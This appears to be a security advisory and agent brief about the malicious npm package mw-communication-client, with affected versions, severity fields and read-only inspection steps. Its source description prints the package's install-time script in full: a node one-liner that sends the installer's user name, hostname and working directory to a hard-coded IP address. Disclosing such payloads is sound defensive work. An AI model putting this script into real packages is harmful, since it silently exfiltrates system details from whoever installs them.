Malicious code in mw-communication-client (npm)
What to do
Vendor response not established. Follow the primary source's mitigation guidance and check back for a fix.
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Affected packages
npm mw-communication-client
- Affected
- >= 10.0.0, <= 10.0.0>= 1.0.1, <= 1.0.1
- Fixed in
- no fixed version recorded
Sources
- Open Source Vulnerabilities (OSV.dev), including the GitHub Advisory Database
OSV record MAL-2026-18370 lists affected ranges: npm mw-communication-client >=10.0.0 =1.0.1 <=1.0.1
VerifiedObserved Structured OSV record; not marked as GitHub-reviewed.
Severity and exploitation
- Exploitation
- No confirmed exploitation recorded. Patch Next marks exploitation only from CISA KEV.
- CVSS
- not scored
- EPSS
- No dated EPSS signal available.
Source description
As published by the source; long descriptions are shortened.
mw-communication-client was published to npm on 2026-10-27 from 06:55:13 UTC by the account amahrou1w, about one minute after npm's staged-publish placeholder 0.0.0-stage, in versions 10.0.0, 1.0.1. The three packages mw-test-utils, mw-communication-client and mui-wrapper-x-date-pickers were published by the same account within eight minutes and are identical apart from the name. Each tarball has three files: index.js (module.exports = {}), README.md and package.json. The package has no repository, no functional code and no dependencies, and 1.0.1 is the latest version at the time of this report. package.json declares a preinstall and a postinstall script, which npm runs on every install: node -e "require('http').get('http://38.242.235.206/depconf/mw-communication-client/preinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeURIComponent(require('os').hostname())+'&p='+encodeURIComponent(process.cwd())).on('error',()=>{})" The postinstall script is…
Dates and revisions
- Published by the source
- Last modified by the source
- Source last checked
- Revision 1 · created ·
Published from osv record MAL-2026-18370
Agent brief
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# Patch Next advisory brief: mal-2026-18370 Advisory: Malicious code in mw-communication-client (npm) IDs: mal-2026-18370 Record: https://patchnext.com/advisories/mal-2026-18370 (revision 1, source checked 30 Oct 2026, 06:05 UTC) Inventory: none attached. This brief comes from a public page and does not say whether any deployment is affected. Severity: Unrated Exploitation: no confirmed exploitation recorded. Patch Next confirms exploitation only from CISA KEV. Vendor response: Vendor response not established. A vendor fix does not mean a deployment is fixed. ## Affected components - npm mw-communication-client: affected >= 10.0.0, <= 10.0.0; >= 1.0.1, <= 1.0.1 ## Suggested inspection (read-only) - `npm ls mw-communication-client --all`: lists every installed copy and version, including transitive ones. Run in the project root after `npm ci`. ## Supported action No complete vendor fix is recorded. Follow the primary source's mitigation guidance and check this record again before closing anything. ## Required regression checks - Run the test suite and a production build. - Exercise the features that depend on mw-communication-client. - Repeat the inspection and confirm that only fixed versions remain installed. ## Rollback considerations - Keep the previous lockfile and deployment artifact. Rolling back reinstates the vulnerable version, so apply any documented mitigation while you fix forward. ## Unresolved questions - Which deployments run an affected version? - Exploitation status can change. Check again before lowering the priority. - Mark the work resolved only after the fixed version is verified in production. ## Sources - Verified: https://osv.dev/vulnerability/MAL-2026-18370 (OSV record MAL-2026-18370 lists affected ranges: npm mw-communication-client >=10.0.0 =1.0.1 <=1.0.1) Commands are suggestions: review each one before running it.
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